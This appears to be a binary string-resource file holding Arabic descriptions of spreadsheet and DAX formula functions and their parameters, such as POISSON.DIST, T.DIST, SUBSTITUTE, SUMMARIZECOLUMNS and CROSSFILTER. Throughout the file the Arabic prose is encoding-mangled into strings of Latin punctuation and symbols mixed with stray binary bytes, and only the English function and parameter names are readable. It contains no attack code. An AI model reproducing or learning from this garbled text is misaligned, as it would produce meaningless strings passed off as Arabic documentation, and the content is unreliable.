A1J/K'. 'D*('/JD E.*DA) 9F 'DE,EH9'* 'D*J D' JCHF *1*J(G' 'D/'.DJ A1J/K'. '3*./E G0G 'D/'D) D9EDJ'* -3'( 'D'-*E'DJ) EF FE7 'DJF'5J(.1BE9// 5-J- J5A 9// 'DC'&F'*.
Number_chosen&9// 5-J- J5A 9// 'DC'&F'* AJ CD *(/JD.7%1,'9 BJE) Pi HGJ 3.14159265358979 ('D*-/J/ 15 1BEK'.�%1,'9 *H2J9 Poisson. 'D*7(JB 'D4'&9 D*H2J9 Poisson GH *HB9 9// 'D#-/'+ .D'D A*1) E9JF) E+D 9// 'D3J'1'* 'D*J *5D %DI 'D(H'() .D'D /BJB) H'-/).*1'CEJ6BJE) EF7BJ) *9ED 9DI *-/J/ 4CD *H2J9 'D'-*E'D 'D0J *E %1,'9G. %0' C'F* BJE) 'D*1'CEJ TRUE *9ED POISSON.DIST 9DI %1,'9 '-*E'D Poisson 'D*1'CEJ -J+ JCHF 9// 'D#-/'+ 'D94H'&J) 'D*J *8G1 (JF 5A1 Hx (4CD 4'ED %0' C'F* FALSE J*E %1,'9 /'D) 'D'-*E'D :J1 'D*1'CEJ) -J+ 3JCHF 9// 'D#-/'+ 'D*J 3*8G1 ('DBJE) x ('D6(7.E*H37'DBJE) 'D9//J) 'DE*HB9).X9// 'D#-/'+.%1,'9 F*J,) 9// E1AH9 %DI #3.1BE
'D1BE 'D#3'3.'D#3#'D#3 'D0J 3J1A9 %DJG 'D1BE 'D#3'3.%%1,'9 ,2! 'D9// 'D5-J- 'D.'5 ('DB3E).'DEB'E'DB'3E.'D(37'DEB3HE.*-HJD 'D/1,'* %DI *B/J1 /'&1J.1BE$2'HJ) ('D/1,'* 'D*J *1:( AJ *-HJDG'.l%1,'9 1BE 94H'&J #C(1 EF #H J3'HJ 0 H#5:1 EF 1 *E *H2J9G ('D*3'HJ. **:J1 'D#1B'E 'D94H'&J) AJ %9'/) 'D-3'(.3%1,'9 1BE 94H'&J JB9 (JF 'D#1B'E 'D*J BE* (*-/J/G'.'D#/FI%3J*E %1,'9 #5:1 9// 5-J- RANDBETWEEN.PA'D#9DI%3J*E %1,'9 #C(1 9// 5-J- RANDBETWEEN.#*B1J( 1BE %DI 9// .'F'* 1BEJ) E9JF.1BE'D9// 'D0J *1J/ *B1J(G.NumberOfDigitst9// 'D.'F'* 'D1BEJ) 'D*J 3J*E 'D*B1J( %DJG'. 'D#1B'E 'D3'D() *B1( %DI J3'1 'DA'5D) 'D941J) 'D5A1 %DI #B1( 1BE 5-J-.*B1J( 1BE DD#/FI ('*,'G 'D5A1.1BE$#J 1BE -BJBJ *1J/ *B1J(G %DI 'D#/FI.NumberOfDigits|9// 'D.'F'* 'D*J *1J/ 'D*B1J( DG'. 'D#1B'E 'D3'D() *B1Q( %DI J3'1 'DA'5D) 'D941J) 'D5A1 #H 'DEGED *B1Q( %DI #B1( 1BE 5-J-."*B1J( 1BE DD#9DI (9J/K' 9F 'D5A1.1BE$#J 1BE -BJBJ *1J/ *B1J(G %DI 'D#9DI.NumberOfDigitsPA|9// 'D.'F'* 'D*J *1J/ 'D*B1J( DG'. 'D#1B'E 'D3'D() *B1Q( %DI J3'1 'DA'5D) 'D941J) 'D5A1 #H 'DEGED *B1Q( %DI #B1( 1BE 5-J-.`%1,'9 %4'1) 1BE: 1 %0' C'F 'D1BE EH,(K' #H 5A1 %0' C'F 'D1BE 5A1K' #H -1 %0' C'F 'D1BE 3'D(K'.1BE
#J 9// -BJBJ.%1,'9 ,J( 'D2'HJ) D2'HJ) E-//).1BED'D2'HJ) ('D*B/J1'* 'D/'&1J) 'D*J *1:( AJ 'D-5HD 9DI ,J( 'D2'HJ) DG'.%1,'9 ,J( 'D2'HJ) 'D2'&/J D9//.1BE
#J 9// -BJBJ.%1,'9 'D,01 'D*1(J9J D1BE.1BE'D1BE 'D0J *1J/ ,01G 'D*1(J9J.#%1,'9 'D,01 'D*1(J9J D@ (9// � ('J)1BE9// E6'9A) ('J.PA#%1,'9 'D71A 'D#J31 D*H2J9 t DD7'D(.*1'CEJ�BJE) EF7BJ) *-// 4CD 'D/'D). %0' C'F* 'DBJE) 'D*1'CEJ) GJ TRUE J*E %1,'9 /'D) 'D*H2J9 'D*1'CEJ 9(1 T.DIST HAJ -'D) FALSE J*E %1,'9 /'D) C+'A) 'D'-*E'D.Deg_freedom#9// 5-J- J4J1 %DI 9// /1,'* 'D-1J).X,'DBJE) 'D1BEJ) 'D*J J*E *BJJE 'D*H2J9 9F/G'.!%1,'9 *H2J9 t DD7'D( +F'&J 'D71A.Deg_freedom#9// 5-J- J4J1 %DI 9// /1,'* 'D-1J).X,'DBJE) 'D1BEJ) 'D*J J*E *BJJE 'D*H2J9 9F/G'.#%1,'9 'D71A 'D#JEF D*H2J9 t DD7'D(.Deg_freedom#9// 5-J- J4J1 %DI 9// /1,'* 'D-1J).X,'DBJE) 'D1BEJ) 'D*J J*E *BJJE 'D*H2J9 9F/G'.'%1,'9 9C3 'D71A 'D#J31 D*H2J9 t DD7'D(.Deg_freedom*9// /1,'* 'D-1J) 'DE3*./E) D*EJJ2 'D*H2J9.'-*E'D!'D'-*E'D 'DEB*1F (*H2J9 t DD7'D(.&%1,'9 9C3 +F'&J 'D71A D*H2J9 t DD7'D(.Deg_freedom*9// /1,'* 'D-1J) 'DE3*./E) D*EJJ2 'D*H2J9.'-*E'D!'D'-*E'D 'DEB*1F (*H2J9 t DD7'D(.%1,'9 8D 'D2'HJ) D2'HJ) E-//).1BEC'D2'HJ) ('D*B/J1'* 'D/'&1J) 'D*J *1:( AJ 'D-5HD 9DI 8D 'D2'HJ) DG'.%1,'9 8D 'D2'HJ) 'D2'&/J D9//.1BE
#J 9// -BJBJ.c'B*7'9 1BE %DI 9// 5-J- (%2'D) 'D,2! 'D941J EFG #H (%2'D) 'D,2! 'DC31J EFG #H (%2'D) ,2! EF 'D1BE.1BE'D1BE 'D0J *1J/ 'B*7'9G.NumberOfDigits(1BE J-// /B) 'D'B*7'9 0 (5A1) %0' -O0A.%1,'9 BJE) A'1:).%1(7 3D3D*JF F5J*JF (3D3D) F5J) H'-/).Text1M#HD 3D3D) F5J) J*E 6EG' AJ 3D3D) F5J) H'-/). JECF #F *6E 'D3D'3D F5 #H #1B'E.Text2S+'FJ 3D3D) F5J) E7DH( 1(7G' AJ 3D3D) F5J) H'-/). JECF #F *6E 'D3D'3D F5K' #H #1B'E.j*BJJE 'D*9(J1 DCD 5A AJ 'D,/HD +E %1,'9 3D3D) *DC 'DBJE AJ F*J,) EF 3D3D) H'-/) EA5HD) ('DE-/P/ 'DE.*'1.'DE-/P/.'DE-/P/ 'D0J J*9JF %/1',G AJ 3D3D) E9 'D*9(J1.'D*9(J1PA('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D*1*J(B'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.OrderBy_Expression''D*9(J1 'D0J 3J*E '3*./'EG DA12 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.k%1,'9 TRUE %0' C'F* GF'C 3D3D) F5J) H'-/) *-*HJ 9DI 3D3D) F5J) #.1I. CONTAINSSTRING :J1 -3'3) D-'D) 'D#-1A.FindTexta'DF5 'D0J *1J/ 'D(-+ 9FG. JECFC '3*./'E -1AJ 'D(/D  H* D0' '3*./E ~? H~* D*(-+ 9F 'D-1AJF ? H*.
WithinText%'DF5 'D0J *1J/ 'D(-+ AJG 9F FindText.l%1,'9 TRUE %0' C'F* GF'C 3D3D) F5J) H'-/) *-*HJ 9DI 3D3D) F5J) #.1I. CONTAINSSTRINGEXACT -3'3) D-'D) 'D#-1A.FindText:'DF5 'D0J *1J/ 'D9+H1 9DJG. :J1 E3EH- ('3*./'E #-1A 'D(/D.
WithinTextPA%'DF5 'D0J *1J/ 'D(-+ AJG 9F FindText.c'D*-BB EE' %0' C'F* 'D3D3*'F 'DF5J*'F :J1 E.*DA*JF H%1,'9 TRUE #H FALSE. J*E *-33 -'D) #-1A EXACT.Text1'D3D3D) 'DF5J) 'D#HDI.Text2'D3D3D) 'DF5J) 'D+'FJ).P%1,'9 (/'J) EH69 D3D3D) F5J) H'-/) 6EF 3D3D) F5J) #.1I. J*E *-33 -'D) #-1A FIND.FindText'DF5 'D0J *1J/ 'D(-+ 9FG. '3*./E 9D'E'* 'D'B*('3 'D2H,J) (F5 A'1:) DE7'(B) 'D-1A 'D#HD AJ within_text :J1 E3EH- ('D#-1A 'D(/D.
NotFoundValue^'DBJE) 'D9//J) 'D*J 3J*E %1,'9G' AJ -'D) 9/E 'D9+H1 9DI 'DF5 #E' AJ -'D) -0AG J*E %1,'9 .7#.
StartPosition_'D-1A 'D0J 3J(/# 'D(-+ 9F/G %0' #GED StartPosition = 1. 'D-1A 'D#HD AJ WithinText GH 'D1BE 1.
WithinText-'DF5 'D0J J-*HJ 9DI 'DF5 'D0J *1J/ 'D(-+ 9FG.O*B1J( 1BE %DI 9// E-// EF 'D#1B'E 'D941J) H%1,'9 'DF*J,) CF5 E9 AH'5D '.*J'1J).PA'D#1B'E 'D941J)29// 'D#1B'E %DI JEJF 'DA'5D) 'D941J) %0' -O0A 2.NoCommas�BJE) EF7BJ): %0' C'F* TRUE AD' J*E %8G'1 'DAH'5D AJ 'DF5 'DE1,9 #E' %0' C'F* FALSE #H EGED AJ*E %8G'1 'DAH'5D AJ 'DF5 'DE1,9,1BE&'D1BE 'D0J *1J/ *B1J(G H*-HJDG %DI F5."*-HJD BJE) %DI F5 (*F3JB 1BE E-//.*F3JB*F3JB 1BE *-//G,'DBJE)!1BE #H 5J:) *BJQE %DI BJE) 1BEJ).8%1,'9 TRUE %0' C'F GF'C *7'(B (JF MatchExpression H'DF5.MatchExpression)MatchExpression 'DE1'/ *BJJEG EB'(D 'DF5.'DF5)'DF5 'DE1'/ *BJJEG EB'(D MatchExpression.PA,%1,'9 9// 'D#-1A 'DE-// AJ (/'J) 3D3D) F5J).NumberOfCharacters19// 'D#-1A 'D*J *1J/ LEFT '3*.1',G' %0' -O0A 1.'DF59'D3D3D) 'DF5J) 'D*J *-*HJ 9DI 'D#-1A 'D*J *1J/ '3*.1',G'.&%1,'9 9// 'D#-1A 'DE-// AJ 3D3D) F5J).'DF5.'DF5 'D0J *1J/ E91A) 7HDG. *9/ 'DA1':'* C#-1A.-*-HJD CD 'D-1HA AJ 3D3D) F5J) %DI #-1A 5:J1).'DF5W'DF5 'D0J *1J/ *-HJDG %DI #-1A 5:J1). DF J*E *:JJ1 'D#-1A 'D*J DJ3* (-1HA G,'! AJ 'DF5.8%1,'9 #-1A EF H37 3D3D) F5J) (/'J) EF EH69 H7HD E-//JF.NumberOfCharacters9// 'D#-1A 'D*J 3J*E %1,'9G'.
StartPosition6EH69 'D-1A 'D#HD 'D0J *1J/ '3*.1',G. 'D-1A 'D#HD AJ 1.'DF5-'D3D3D) 'DF5J) 'D*J *1J/ '3*.1', 'D-1HA EFG'.-'3*(/'D ,2! EF 3D3D) F5J) (3D3D) F5J) E.*DA).NewText'DF5 'D(/JD.NumberOfCharacters9// 'D#-1A 'D*J *1J/ '3*(/'DG'.OldText9'D3D3D) 'DF5J) 'D*J *4*ED 9DI 'D#-1A 'D*J *1J/ '3*(/'DG'.
StartPosition6EH69 'D-1A AJ old_text 'D0J *1J/ '3*(/'DG (@ new_text.H*C1'1 F5 (9// E1'* E9JF. '3*./E REPT D*9(&) .DJ) (9// E+JD'* 3D3D) F5J).
NumberOfTimes"1BE EH,( J-// 9// E1'* *C1'1 'DF5.'DF5'DF5 'D0J *1J/ *C1'1G.,%1,'9 9// 'D#-1A 'DE-// AJ FG'J) 3D3D) F5J).NumberOfCharacters.9// 'D#-1A 'D*J *1J/ #F *3*.1,G' %0' -O0A 1.'DF56'D3D3D) 'DF5J) 'D*J *-*HJ 9DI 'D#-1A 'DE1'/ '3*.1',G'.O%1,'9 EH69 (/'J) 3D3D) F5J) 6EF 3D3D) F5J) #.1I 'D(-+ DJ3 E*-33K' D-'D) 'D#-1A.FindTexta'DF5 'D0J *1J/ 'D(-+ 9FG. JECFC '3*./'E -1AJ 'D(/D  H* D0' '3*./E ~? H~* D*(-+ 9F 'D-1AJF ? H*.
NotFoundValue^'DBJE) 'D9//J) 'D*J 3J*E %1,'9G' AJ -'D) 9/E 'D9+H1 9DI 'DF5 #E' AJ -'D) -0AG J*E %1,'9 .7#.
StartPositionVEH69 'D-1A AJ WithinText -J+ *1J/ #F *(/# 'D(-+. %0' #GED A3*CHF 'DBJE) 'D'A*1'6J) 1.
WithinText%'DF5 'D0J *1J/ 'D(-+ AJG 9F FindText.,'3*(/'D 'DF5 'DEH,H/ (F5 ,/J/ AJ 3D3D) F5J).InstanceNumberPAV8GH1 Old_text 'D0J *1J/ '3*(/'DG. H%0' *E -0AG A3J*E '3*(/'D CD E+JD .'5 (@ Old_text.NewText$'DF5 'D0J *1J/ '3*(/'DG (@ old_text.OldTextz'DF5 'DEH,H/ 'D0J *1J/ '3*(/'DG. %0' C'F* -'D) Old_text :J1 E7'(B) DD-'D) AJ 'DF5 'DEH,H/ A%F SUBSTITUTE DF *-D E-D 'DF5.'DF5>3D3D) F5J) #H E1,9 D.DJ) *-*HJ 9DI F5 -J+ *1J/ '3*(/'D 'D-1HA.H%2'D) C'A) 'DE3'A'* EF 3D3D) F5J) ('3*+F'! 'DE3'A'* 'DEA1/) (JF 'DCDE'*.'DF5"'DF5 'D0J *1J/ %2'D) 'DE3'A'* EFG.8%1,'9 -1A Unicode 'D0J *4J1 %DJG 'DBJE) 'D1BEJ) 'DE-//).1BEG'D1BE GH 1BE Unicode (FB7) 'D*9DJE) 'D(1E,J)) 'D0J *1J/ -1A Unicode DG.A%1,'9 'D1BE (FB7) 'D*9DJE) 'D(1E,J)) 'DE*H'AB E9 #HD -1A AJ 'DF5.'DF5('DF5 GH 'D-1A 'D0J *1J/ BJE) Unicode DG.PA%*-HJD 3D3D) F5J) %DI #-1A CDG' C(J1).'DF5H'DF5 'D0J *1J/ *-HJDG %DI #-1A C(J1) #H E1,9 D.DJ) *-*HJ 9DI 3D3D) F5J).$*-HJD 3D3D) F5J) *E+D 1BEK' %DI 1BE.'DF5'DF5 'DE7DH( *-HJDG.U*BJJE 'D*9(J1 'DE-// DD*'1J. 'DE7'(B DFG'J) 'D4G1 'D-'DJ (9/ *7(JB 9H'ED *5AJ) E-//).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).Y*BJJE 'D*9(J1 'DE-// DD*'1J. 'DE7'(B DFG'J) 1(9 'D3F) 'D-'DJ (9/ *7(JB 9H'ED *5AJ) E-//).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).V*BJJE 'D*9(J1 'DE-// DD*'1J. 'DE7'(B DFG'J) 'D3F) 'D-'DJ) (9/ *7(JB 9H'ED *5AJ) E-//).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).YearEndDate*'1J. FG'J) 'D3F).0FBD E,EH9) E9JF) EF 'D*H'1J. -3( A'5D 2EFJ E-//.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..PA'DA'5D H'-/ EF: JHE 4G1 1(9 3F) 3F).NumberOfIntervals#9// 'DAH'5D 'D2EFJ) 'DE1'/ *-HJDG'."%1,'9 'D*H'1J. (JF *'1J.JF E-//JF.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..EndDate*'1J. 'D'F*G'!.	StartDate*'1J. 'D(/!.%1,'9 *H'1J. EF A*1) E9JF).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'DA'5D H'-/ EF: JHE 4G1 1(9 3F) 3F).NumberOfIntervals9// 'DAH'5D 'D2EFJ).	StartDate*'1J. 'D(/!.5%1,'9 E,EH9) EF 'D*H'1J. AJ 'D4G1 -*I 'D*'1J. 'D-'DJ.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..9%1,'9 E,EH9) EF 'D*H'1J. AJ 1(9 'D3F) -*I 'D*'1J. 'D-'DJ.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..5%1,'9 E,EH9) EF 'D*H'1J. AJ 'D3F) -*I 'D*'1J. 'D-'DJ.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..YearEndDate*'1J. FG'J) 'D3F).%1,'9 FG'J) 'D4G1.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 FG'J) 1(9 'D3F).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 FG'J) 'D3F).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..YearEndDate*'1J. FG'J) 'D3F).%1,'9 #HD *'1J. :J1 A'1:.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..H%1,'9 'DBJE) 'D#HDI AJ 'D9EH/ 'D0J J4*ED AJG 'D*9(J1 9DI BJE) :J1 A'1:).
ColumnName
'DBJE 'DE5/1.PA'D*9(J1 'D*9(J1 'DE7DH( *BJJEG DCD BJE).%1,'9 ".1 *'1J. :J1 A'1:.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..C%1,'9 ".1 BJE) AJ 'D9EH/ 'D0J J4*ED AJG 'D*9(J1 9DI BJE) :J1 A'1:).
ColumnName
'DBJE 'DE5/1.'D*9(J1 'D*9(J1 'DE7DH( *BJJEG DCD BJE).%1,'9 'DJHE 'D*'DJ.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 'D4G1 'D*'DJ.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..PA%1,'9 1(9 'D3F) 'D*'DJ.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 'D3F) 'D*'DJ).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..YearEndDate*'1J. FG'J) 'D3F).Y*BJJE 'D*9(J1 'DE-// DD*'1J. 'DE7'(B DFG'J) 'D4G1 'D3'(B (9/ *7(JB 9H'ED 'D*5AJ) 'DE-//).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).]*BJJE 'D*9(J1 'DE-// DD*'1J. 'DE7'(B DFG'J) 1(9 'D3F) 'D3'(B (9/ *7(JB 9H'ED 'D*5AJ) 'DE-//).PA'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).Z*BJJE 'D*9(J1 'DE-// DD*'1J. 'DE7'(B DFG'J) 'D3F) 'D3'(B) (9/ *7(JB 9H'ED 'D*5AJ) 'DE-//).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).YearEndDate*'1J. FG'J) 'D3F).O%1,'9 A*1) 2EFJ) E*H'2J) DD*H'1J. -3( E,EH9) E9JF) EF 'D*H'1J. HA'5D 2EFJ E-//.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'DA'5D H'-/ EF: JHE 4G1 1(9 3F) 3F).NumberOfIntervals9// 'DAH'5D 'D2EFJ).%1,'9 'DJHE 'D3'(B.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 4G1 3'(B.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 1(9 'D3F) 'D3'(B.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 'D3F) 'D3'(B).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..YearEndDate*'1J. FG'J) 'D3F).<%1,'9 E,EH9) EF 'D*H'1J. AJ 'D*-/J/ 'D-'DJ EF 'D3F) 'D3'(B).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 (/'J) 'D4G1.'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 (/'J) 1(9 'D3F).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..%1,'9 (/'J) 'D3F).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..PAYearEndDate*'1J. FG'J) 'D3F).�*BJJE 'D*9(J1 'DE-// 9(1 A'5D 2EFJ J(/# AJ #HD 'D4G1 HJF*GJ (FG'J) 'D*'1J. 'D#.J1 AJ 9EH/ 'D*'1J. 'DE-// (9/ *7(JB 9H'ED 'D*5AJ) 'DE-//).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).�*BJJE 'D*9(J1 'DE-// 9(1 A'5D 2EFJ J(/# AJ 'DJHE 'D#HD EF 1(9 'D3F) HJF*GJ ('D*'1J. 'D#.J1 AJ 9EH/ 'D*'1J. 'DE-// (9/ *7(JB 9H'ED 'D*5AJ) 'DE-//).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).�*BJJE 'D*9(J1 'DE-// 9(1 A'5D 2EFJ J(/# AJ 'DJHE 'D#HD EF 'D3F) HJF*GJ (FG'J) 'D*'1J. 'D#.J1 AJ 9EH/ 'D*'1J. 'DE-// (9/ *7(JB 9H'ED 'D*5AJ) 'DE-//).'D*H'1J.>'3E 9EH/ J-*HJ 9DI *H'1J. #H ,/HD (9EH/ H'-/ J-*HJ 9DI *H'1J..'D*9(J1'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).YearEndDate*'1J. FG'J) 'D3F)..%1,'9 ,/HD (#9E/) ,/J/) E-//) -3( *9(J1'* DAX.'D*9(J1#*9(J1 'D9EH/ 'D,/J/ 'DE7DH( %6'A*G.'D'3E!'3E 'D9EH/ 'D,/J/ 'DE7DH( %6'A*G.'D,/HD''D,/HD 'D0J *E* %6'A) #9E/) ,/J/) %DJG.PA1BE (%6'A) 'D5AHA 0'* BJE 'DBJ'3 'DA'1:) E1) #.1I.FilterTable-*9(J1 J91A 'D,/HD 'D0J 3J*E %1,'9 'D5AHA EFG.GroupBy_ColumnName�9EH/ E7DH( 'D*,EJ9 HABK' DG #H '3*/9'! H8JA) ROLLUP HH8JA) ISSUBTOTALCOLUMNS D*-/J/ B'&E) ('D#9E/) 'DE7DH( *,EJ9G' ('3*./'E 'D%,E'DJ'* 'DA19J).ShowAll_ColumnName#9E/) ShowAll.'D,/HD,/HD SummarizeColumns.Z%1,'9 CD 'D5AHA AJ ,/HD #H CD 'DBJE AJ 9EH/ E*,'GD'K #J) 9H'ED *5AJ) B/ JCHF *E *7(JBG'.
ColumnName9EH/ AJ 'D,/HD 'D#3'3J FA3G.TableNameOrColumnName'3E 'D,/HD #H 'D9EH/ 'D-'DJ.:E3- ,EJ9 9H'ED 'D*5AJ) 'D*J J*E *7(JBG' 9DI 'D,/HD 'DE-//.	TableName''D,/HD 'D0J *1J/ E3- 9H'ED 'D*5AJ) EFG.K%1,'9 CD 'D5AHA AJ ,/HD ('3*+F'! 'D5AHA 'DE*#+1) (9H'ED *5AJ) 9EH/ 'DE-//).
ColumnName,/HD E7DH( 'D'-*A'8 (*5AJ*G.	TableName'3E ,/HD EH,H/.o%1,'9 CD 'D5AHA ('3*+F'! 'D5A 'DA'1: AJ ,/HD #H CD 'DBJE AJ 9EH/ E*,'GD'K #J) 9H'ED *5AJ) B/ JCHF *E *7(JBG'.
ColumnName9EH/ AJ 'D,/HD 'D#3'3J FA3G.TableNameOrColumnName'3E 'D,/HD #H 'D9EH/ 'D-'DJ.�%1,'9 CD 'D5AHA AJ ,/HD #H CD 'DBJE AJ 9EH/ E*,'GD'K #J) 9H'ED *5AJ) B/ JCHF *E *7(JBG' /'.D 'D'3*9D'E HDCF J-*A8 (9H'ED 'D*5AJ) 'DB'/E) EF 'D.'1,.TableNameOrColumnNameP%2'D) CD 9H'ED 'D*5AJ) AJ 'D,/HD #H 'D9EH/ 'DE-// 'D*J *E *7(JBG' 6EF 'D'3*9D'E.+*BJJE *9(J1 AJ 3J'B E9/D -3( 9H'ED 'D*5AJ).'D*9(J1PA'D*9(J1 'DE7DH( *BJJEG.9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).0*BJJE *9(J1 ,/HD AJ 3J'B E9/D -3( 9H'ED 'D*5AJ),9'ED 'D*5AJ)7*9(J1 EF7BJ (5H'(/.7#) #H *9(J1 ,/HD J-// 9'ED 'D*5AJ).'D,/HD*9(J1 'D,/HD 'DE7DH( *BJJEG.=%1,'9 ,/HD (9EH/ H'-/ J6E CD 'D*H'1J. (JF StartDate HEndDate.EndDate*'1J. 'D'F*G'! (*F3JB datetime.	StartDate*'1J. 'D(/! (*F3JB datetime.@%1,'9 ,/HD (9EH/ H'-/ J6E *H'1J. *E '-3'(G' EF 'DFEH0, *DB'&JK'.FiscalYearEndMonth59// 5-J- EF 1 %DI 12 JE+D 4G1 'D'F*G'! DD3F) 'DE'DJ).�J-// '*,'G 'D*5AJ) 'DE*B'79 'DE3*./E AJ *BJJE *9(J1 DAX. J*E *-/J/ 'D9D'B) 9(1 *3EJ) ('3E H3J7'* 'D9EH/JF 'D0JF J9ED'F CFB7*J FG'J).CrossFilterType�J,( #F *CHF 'DH3J7) 'D+'D+) DDH8JA) CROSSFILTER ('DBJE) 0 D@ None #H 1 D@ OneWay #H 2 D@ Both. CE' #FG EF 'DEECF '3*./'E 'DCDE'* None OneWay Both.LeftColumnName'D9EH/ 'D#J31.RightColumnName'D9EH/ 'D#JEF.(%1,'9 ,/HD ('D1(7 'DE*B'79 D,/'HD E-//).'D,/HD,/HD 3J4'1C AJ 'D1(7 'DE*B'79.g'DH5HD %DI ,/HD(A19J) JE+D 'DE,EH9) 'D-'DJ) AJ 'DH8JA) GroupBy. JECF '3*./'EG /'.D 'DH8JA) GroupBy AB7.$%1,'9 ,/HD E91A (G 'D(J'F'* /'.DJK'.'D(J'F'*(J'F'* 'D,/HD.'3E'3E ,/HD E7DH( *91JAG.PA'DFH9'3E FH9 E7DH( %B1'FG ('D9EH/.�%1,'9 (J'F'* 